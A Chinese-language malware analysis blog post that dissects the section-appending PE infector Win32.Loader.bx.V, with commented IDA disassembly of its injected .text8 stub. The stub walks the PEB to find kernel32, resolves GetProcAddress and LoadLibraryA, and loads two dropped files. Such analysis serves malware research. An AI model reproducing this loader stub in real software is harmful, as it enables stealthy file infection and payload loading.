一、病毒名称:Win32.Loader.bx.V

二、分析工具:IDA 5.5、OllyDebug、StudPE

三、PE文件加节感染病毒简介


PE病毒感染的方式比较多,也比较复杂也比较难分析,下面就针对PE文件感染之加节的方式进行汇编层次的深度分析,其实说来惭愧,第一接触这个病毒样本的时候也有

点手足无措,最后还是在别人的指导下才顺利的分析下来,开始分析该样本的时候,仅仅关注这个样本是木马病毒这个特点而忽略他的PE感染的特性。下面就该样本的传播方

式进行逐一分析,其实还蛮怀恋分析样本的那些时间。

四、对PE文件加节感染病毒的具体分析


对于被病毒感染的文件样本的分析,首先要查看被感染的样本文件的节的信息,截图如下:

因此对于该样本文件的分析,重点关注这个节:

跟进函数76F9601E 进行具体的分析:

回到了函数76F96000 中:

到这里.text8节的内容分析完毕,即将跳到.text节去执行。

对.text8节的代码的行为进行综述:

  • 首先通过f:[0]寄存器定位TEB的基址;
  • 在TEB的基址偏移30H处获取PEB结构的基址;
  • 在PEB的基址偏移CH处获取PEB_LDR_DATA结构指针;
  • 通过PEB_LDR_DATA结构指针在其偏移1CH处获取InInitializationOrderModuleList成员指针;
  • 对DLL双链表的解析获取获取kernel32.dll的基地址;
  • 对kernel32.dl这个PE文件进行解析,获取其导出表的相对虚拟地址;
  • 对kernel32.dl的导出表进行解析,查找到函数GetProcAddress的调用地址;
  • 调用函数GetProcAddress获取kernel32.dll中Loadlibrary函数的调用地址;
  • 调用Loadlibrary函数加载文件"C:\\ProgramFiles\\Common Files\\System\\kb067201.nls"和文件"C:\\WINDOWS\\system32\\MSCOMCQS.tsk"到内存中。
随机附上手动汇编分析:

.text8:76F96000 ; BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
.text8:76F96000 public DllEntryPoint
.text8:76F96000 DllEntryPoint proc near
.text8:76F96000
.text8:76F96000 arg_4 = dword ptr 8
.text8:76F96000
.text8:76F96000 ; FUNCTION CHUNK AT .text8:76F9613C SIZE 00000011 BYTES
.text8:76F96000
.text8:76F96000 cmp [esp+arg_4], 1 ; 判断是否是 DLL_PROCESS_ATTACH
.text8:76F96005 jnz short loc_76F96014
.text8:76F96007 nop
.text8:76F96008 pusha ; 保存寄存器环境
.text8:76F96009 nop
.text8:76F9600A add edx, 0
.text8:76F9600D call sub_76F9601E ; 调用函数76F9601E
.text8:76F96012 nop ;
.text8:76F96012 ;
.text8:76F96012 ;
.text8:76F96012 ; 跳到地址76F96012的地方执行
.text8:76F96013 popa ; 恢复寄存器的环境
.text8:76F96014
.text8:76F96014 loc_76F96014: ; CODE XREF: DllEntryPoint+5j
.text8:76F96014 nop ; 调整堆栈
.text8:76F96015 add ebp, 0
.text8:76F96018 jmp loc_76F9613C ; 跳转到地址76F9613C的地方执行======== ; 调用函数76F9601E
.text8:76F9601E sub_76F9601E proc near ; CODE XREF: DllEntryPoint+Dp
.text8:76F9601E
.text8:76F9601E var_28 = dword ptr -28h
.text8:76F9601E var_24 = dword ptr -24h
.text8:76F9601E var_20 = dword ptr -20h
.text8:76F9601E var_18 = byte ptr -18h
.text8:76F9601E var_17 = byte ptr -17h
.text8:76F9601E var_16 = word ptr -16h
.text8:76F9601E var_14 = dword ptr -14h
.text8:76F9601E dwGetProcAddress= dword ptr -0Ch
.text8:76F9601E var_8 = dword ptr -8
.text8:76F9601E hInstanseKernel32= dword ptr -4
.text8:76F9601E
.text8:76F9601E push ebp
.text8:76F9601F mov ebp, esp
.text8:76F96021 sub esp, 38h
.text8:76F96024 push ebx
.text8:76F96025 xor eax, eax
.text8:76F96027 push esi
.text8:76F96028 push edi ; ;保存寄存器的环境
.text8:76F96029 mov [ebp+var_28], 'PteG'
.text8:76F96030 mov [ebp+var_24], 'Acor'
.text8:76F96037 mov [ebp+var_20], 'erdd'
.text8:76F9603E mov dword ptr [ebp-1Ch], 'ss'
.text8:76F96045 mov [ebp+hInstanseKernel32], eax ; 初始化hInstanseKernel32 = 0
.text8:76F96048 mov [ebp+var_8], eax
.text8:76F9604B pusha ;
.text8:76F9604B ;
.text8:76F9604B ;
.text8:76F9604C mov eax, large fs:30h ; 获取PEB结构的基址
.text8:76F96052 mov edx, [eax+0Ch] ; 获取PEB_LDR_DATA结构指针
.text8:76F96055 mov eax, [edx+1Ch] ; 获取InInitializationOrderModuleList成员指针
.text8:76F96058 mov eax, [eax] ; 获取双向链表当前节点的后继指针
.text8:76F9605A mov eax, [eax+8] ; 获取kernel32.dll的基地址
.text8:76F9605D mov [ebp+hInstanseKernel32], eax ; 保存kernel32.dll的基地址到局部变量hInstanceKernal32
.text8:76F96060 mov edx, eax ; EDX保存Kernel32的基址
.text8:76F96062 add eax, 21h
.text8:76F96065 add eax, 1Bh ; EAX+3C定位到Kernel32.dll文件的Dos头的最后一个字段
.text8:76F96065 ; 获取DOS头到PE头的距离
.text8:76F96068 mov eax, [eax] ; 保存DOS头到PE头的距离到EAX中
.text8:76F9606A lea eax, [eax+edx+78h] ; 定位到Kernel32文件的数据目录表的RVA地址
.text8:76F9606E mov eax, [eax] ; 获取导出表的Export Directory的RVA保存在EAX中
.text8:76F96070 mov ecx, [edx+eax+18h] ; 定位到导出表,获取导出表的Number of entries in ENT保存在ECX中
.text8:76F96074 mov ebx, [edx+eax+20h] ; 定位到导出表,获取该导出表的RVA of ENT (export name table)函数名称的RVA
.text8:76F96074 ; 保存在EBX中
.text8:76F96078 add ebx, edx ; 定位到Kernel32的导出表中的函数ENT表的VA的地址
.text8:76F9607A
.text8:76F9607A loc_76F9607A: ; CODE XREF: sub_76F9601E+7Ej
.text8:76F9607A dec ecx ; 函数名称表ENT中的函数的个数-1
.text8:76F9607B nop
.text8:76F9607C test ecx, ecx ; 判断是该导出表的ENT中的函数名称的个数是否为0,
.text8:76F9607C ; 即该导出表的函数是否都已经比较完
.text8:76F9607E nop
.text8:76F9607F jz short loc_76F960BC ; 导出表的函数与GetProcAddress比较完了,直接跳转;
.text8:76F9607F ; 否则继续比较查找
.text8:76F9607F ;
.text8:76F96081 lea edi, [ebp+var_28] ; 将字符串GetProcAddress的指针给EDI
.text8:76F96087 mov esi, [ebx+ecx*4] ; 获取导出表中的第ECX个函数的名称RVA保存在ESI中
.text8:76F9608A add esi, edx ; 获取导出表中的第ECX个函数的名称的VA保存在ESI中
.text8:76F9608A ;
.text8:76F9608A ;
.text8:76F9608A ;
.text8:76F9608A ;
.text8:76F9608A ;
.text8:76F9608C push ecx
.text8:76F9608D mov ecx, 0Eh ; ECX=0E
.text8:76F96092 inc ecx ; ECX=ECX+1=0Fh比较的字节数
.text8:76F96093 nop
.text8:76F96094 repe cmpsb ; 将导出表中的ESI指向的函数的名称与字符串GetProcAddress进行比较,
.text8:76F96094 ; 并且比较前15个字节
.text8:76F96096 nop
.text8:76F96097 test ecx, ecx ; 判断字符串比较的是否是15个字节
.text8:76F96099 pop ecx ; ECX为该导出表的ENT中的函数名称的个数-1
.text8:76F9609A push edx
.text8:76F9609B pop edx ; EDX保存Kernel32的基址
.text8:76F9609C jnz short loc_76F9607A ; 判断以上的字符串比较是否找到函数GetProcAddress,
.text8:76F9609C ; 没有找到继续比较,找到了继续执行
.text8:76F9609C ; 最终的ECX为函数GetProcAddress在导出表的序号
.text8:76F9609E nop
.text8:76F9609F nop
.text8:76F960A0 mov esi, [edx+eax+24h] ; 定位到该导出表的AddressOfNameOrdinals的RVA
.text8:76F960A4 add esi, edx ; 定位到该导出表的AddressOfNameOrdinals的VA
.text8:76F960A6 mov edi, ecx ; ECX保存的是函数GetProcAddress的在函数序号表的序号
.text8:76F960A8 movzx esi, word ptr [esi+edi*2] ; 获取函数GetProcAddress的函数表中序号
.text8:76F960AC mov edi, [edx+eax+1Ch] ; 获取导出表的RVA of EAT (export address table)即函数地址表的RVA
.text8:76F960B0 add edi, edx ; 获取导出表的VA of EAT (export address table)即函数地址表的VA
.text8:76F960B2 mov edi, [edi+esi*4] ; 获取函数GetProcAddress的RVA地址
.text8:76F960B5 add edi, edx ; 获取函数GetProcAddress的调用地址
.text8:76F960B7 mov [ebp+dwGetProcAddress], edi ; dwGetProcAddress保存函数GetProcAddress的调用地址
.text8:76F960BA jmp short loc_76F960C3 ; 直接跳转到地址76F960C3的地方执行
.text8:76F960BC ; ---------------------------------------------------------------------------
.text8:76F960BC
.text8:76F960BC loc_76F960BC: ; CODE XREF: sub_76F9601E+61j
.text8:76F960BC mov [ebp+dwGetProcAddress], 0
.text8:76F960C3
.text8:76F960C3 loc_76F960C3: ; CODE XREF: sub_76F9601E+9Cj
.text8:76F960C3 popa
.text8:76F960C4 mov ecx, [ebp+hInstanseKernel32]
.text8:76F960C7 xor edi, edi ; EDI=0
.text8:76F960C9 cmp ecx, edi ; 判断hInstanseKernel32保存的基址是否为0
.text8:76F960CB jz short loc_76F96133 ; 为0失败跳转,否则继续执行
.text8:76F960CB ;
.text8:76F960CB ;
.text8:76F960CD mov eax, [ebp+dwGetProcAddress]
.text8:76F960D0 cmp eax, edi ; 判断dwGetProcAddress保存的函数的地址是否为0
.text8:76F960D2 jz short loc_76F96133 ; 为0失败跳转,否则成功继续执行
.text8:76F960D2 ;
.text8:76F960D2 ;
.text8:76F960D2 ;
.text8:76F960D4 lea esi, [ebp+var_20] ; 将字符串LoadLibrary的指针给esi
.text8:76F960D7 push esi ; 传入参数2-字符串LoadLibrary的指针
.text8:76F960D8 push ecx ; 传入参数1--hInstanseKernel32即Kernel32的基址
.text8:76F960D9 mov byte ptr [ebp+var_20], 'L'
.text8:76F960DD mov byte ptr [ebp+var_20+1], 'o'
.text8:76F960E1 mov byte ptr [ebp+var_20+2], 'a'
.text8:76F960E5 mov word ptr [ebp+var_20+3], 'Ld'
.text8:76F960EB nop
.text8:76F960EC nop
.text8:76F960ED mov word ptr [ebp-1Bh], 'bi'
.text8:76F960F3 nop
.text8:76F960F4 nop
.text8:76F960F5 mov byte ptr [ebp-19h], 'r'
.text8:76F960F9 mov [ebp+var_18], 'a'
.text8:76F960FD mov [ebp+var_17], 'r'
.text8:76F96101 mov [ebp+var_16], 'Ay'
.text8:76F96107 nop
.text8:76F96108 mov [ebp+var_14], edi ; var_14=0
.text8:76F9610B call eax ; 调用函数kernel32.GetProcAddress获取LoadLibrary函数的调用地址
.text8:76F9610B ;
.text8:76F9610D push esp
.text8:76F9610E pop esp
.text8:76F9610F cmp eax, edi ; 判断返回值即LoadLibrary的函数地址是否为0
.text8:76F96111 jz short loc_76F96133 ; 为0失败跳转,成功继续执行
.text8:76F96111 ;
.text8:76F96111 ;
.text8:76F96111 ;
.text8:76F96113 mov edi, eax ; EAX保存的是LoadLibrary函数的地址,赋值给EDI
.text8:76F96115 call sub_76F9611B ; 调用函数76F9611B
.text8:76F9611A nop
.text8:76F9611A sub_76F9601E endp ; sp-analysis failed
.text8:76F9611A
.text8:76F9611B
.text8:76F9611B ; =============== S U B R O U T I N E =======================================
.text8:76F9611B
.text8:76F9611B
.text8:76F9611B sub_76F9611B proc near ; CODE XREF: sub_76F9601E+F7p
.text8:76F9611B pop ebx ; EBX为hInstanseKernel32即Kernel32的基址
.text8:76F9611C lea esi, [ebx+4Ah]
.text8:76F9611F nop
.text8:76F96120
.text8:76F96120 loc_76F96120: ; CODE XREF: sub_76F9611B+16j
.text8:76F96120 mov cl, [esi] ; CL为LoadLibrary加载的文件的个数
.text8:76F96122 test cl, cl ; 判断cl是否为0
.text8:76F96124 jz short loc_76F96133 ; 为0直接跳转到地址76F96133,否则继续执行
.text8:76F96124 ;
.text8:76F96124 ;
.text8:76F96126 lea edx, [esi+6] ; LoadLibrary加载的文件的名称字符串
.text8:76F96129 push edx ; 传入参数1-LoadLibrary加载的文件的名称字符串
.text8:76F9612A call edi ; 调用函数kernel32.LoadLibraryA加载文件
.text8:76F9612C nop
.text8:76F9612D add esi, 6Ah ; ESI=ESI+6A
.text8:76F96130 nop
.text8:76F96131 jmp short loc_76F96120
.text8:76F96133 ; ---------------------------------------------------------------------------
.text8:76F96133
.text8:76F96133 loc_76F96133: ; CODE XREF: sub_76F9601E+ADj
.text8:76F96133 ; sub_76F9601E+B4j ...
.text8:76F96133 pop edi
.text8:76F96134 pop esi ; 函数的返回的处理
.text8:76F96135 nop
.text8:76F96136 pop ebx
.text8:76F96137 mov esp, ebp
.text8:76F96139 pop ebp
.text8:76F9613A nop
.text8:76F9613B retn ; 返回到 76F96012的地址执行 (Win32.76F96012)

PE文件加节感染之Win32.Loader.bx.V病毒分析的更多相关文章

  1. PE文件附加数据感染之Worm.Win32.Agent.ayd病毒分析

    一.基本信息 样本名称:1q8JRgwDeGMofs.exe 病毒名称:Worm.Win32.Agent.ayd 文件大小:165384 字节 文件MD5:7EF5D0028997CB7DD3484A ...

  2. PE文件动态加载执行过程

    主要步骤: 1.将要加载的文件读取到内存中(简称为文内),检查文件格式无误后,根据可选PE头(简称op头)的SizeOfImage,申请出一块空间用于存储该文件加载到内存后展开的数据(简称为内内).记 ...

  3. PE文件结构部分解析以及输入的定位

    原文链接地址:http://www.cnblogs.com/shadow-lei/p/3554670.html PE文件定义 PE 文件("Portable executable" ...

  4. 手写PE文件(二)

    [文章标题]: 纯手工编写的PE可执行程序 [文章作者]: Kinney [作者邮箱]: mohen_ng@sina.cn [下载地址]: 自己搜索下载 [使用工具]: C32 [操作平台]: win ...

  5. 【学习】Windows PE文件学习(一:导出表)

    今天做了一个读取PE文件导出表的小程序,用来学习. 参考了<Windows PE权威指南>一书. 首先, PE文件的全称是Portable Executable,可移植的可执行的文件,常见 ...

  6. PE文件详解(六)

    这篇文章转载自小甲鱼的PE文件详解系列原文传送门 之前简单提了一下节表和数据目录表,那么他们有什么区别? 其实这些东西都是人为规定的,一个数据在文件中或者在内存中的位置基本是固定的,通过数据目录表进行 ...

  7. PE文件学习系列三-PE头详解

    合肥程序员群:49313181.    合肥实名程序员群:128131462 (不愿透露姓名和信息者勿加入) Q  Q:408365330     E-Mail:egojit@qq.com 最近比较忙 ...

  8. PE可执行文件加载器

    PE文件加载器 模仿操作系统,加载pe文件到内存中 该项目主要是为了检测pe的学习程度,是否都完全理解了.当然没有完全理解 实现功能的如下: 模仿操作系统,加载pe文件到内存中,然后执行待执行的pe文 ...

  9. PE文件中的输入表

    前言 PE文件中的输入表含有三个重要结构IID,IDT,IAT.PE文件为需要加载的DLL文件创建一个IID结构,一个DLL与一个IID对应.IDT是输入名称表,IAT输入地址表,在没有绑定输入的情况 ...

随机推荐

  1. (三)MySQL锁机制 + 事务

    转: (三)MySQL锁机制 + 事务 表锁(偏读) 偏向MyISAM存储引擎.开销小,加锁快,无死锁,锁定粒度大,发生锁冲突的概率最高,并发最低. 查看当前数据库中表的上锁情况,0表示未上锁. sh ...

  2. “Mac应用”已损坏,打不开解决办法

    问题说明: 通常在非 Mac App Store下载的软件都会提示"xxx已损坏,打不开.您应将它移到废纸篓"或者"打不开 xxx,因为它来自身份不明的开发者" ...

  3. JAVA多线程与锁机制

    JAVA多线程与锁机制 1 关于Synchronized和lock synchronized是Java的关键字,当它用来修饰一个方法或者一个代码块的时候,能够保证在同一时刻最多只有一个线程执行该段代码 ...

  4. Python Flask框架路由简单实现

    Python Flask框架路由的简单实现 也许你听说过Flask框架.也许你也使用过,也使用的非常好.但是当你在浏览器上输入一串路由地址,跳转至你所写的页面,在Flask中是怎样实现的,你是否感到好 ...

  5. 【odoo14】第四章、应用模型

    由于本章有包含很多基础知识,个人不会全部转化为自己的语言.直接机器翻译了(用斜体标注,机器翻译反而一字不落,我会过滤掉冗余的内容),虽然机翻,但会保证意思不会偏. 本章主要章节如下: 定义模型展示及顺 ...

  6. P3796 【模板】AC自动机(加强版) 题解(Aho-Corasick Automation)

    题目链接 AC自动机 解题思路 AC自动机模板题. 刚学AC自动机,写一篇博客增强理解. AC自动机最关键的一点在于,\(fail\)失配指针的构造. \(fail\)指针指向的地方,是匹配出现错误后 ...

  7. 推荐模型DeepCrossing: 原理介绍与TensorFlow2.0实现

    DeepCrossing是在AutoRec之后,微软完整的将深度学习应用在推荐系统的模型.其应用场景是搜索推荐广告中,解决了特征工程,稀疏向量稠密化,多层神经网路的优化拟合等问题.所使用的特征在论文中 ...

  8. Python装饰器(3)

    这篇文章中记录说明下多个装饰器一同装饰同一个函数时的执行顺序问题. [装饰器链] 按照惯例,先看代码示例: import time def debug1(str): #传参接受类的方法 def fun ...

  9. Bi-shoe and Phi-shoe LightOJ - 1370(数论+素数筛)

    题目链接:https://vjudge.net/problem/LightOJ-1370 题意:给你N个欧拉函数值,找出每一个大于等于该欧拉函数值的数,并且要求相加和最小. 题解:因为素数i的欧拉函数 ...

  10. RocketMQ的安装配置:配置jdk环境,配置RocketMQ环境,配置集群环境,配置rocketmq-console

    RocketMQ的安装配置 演示虚拟机环境:Centos64-1 (D:\linuxMore\centos6_64) root / itcast : 固定IP 192.168.52.128 一,配置J ...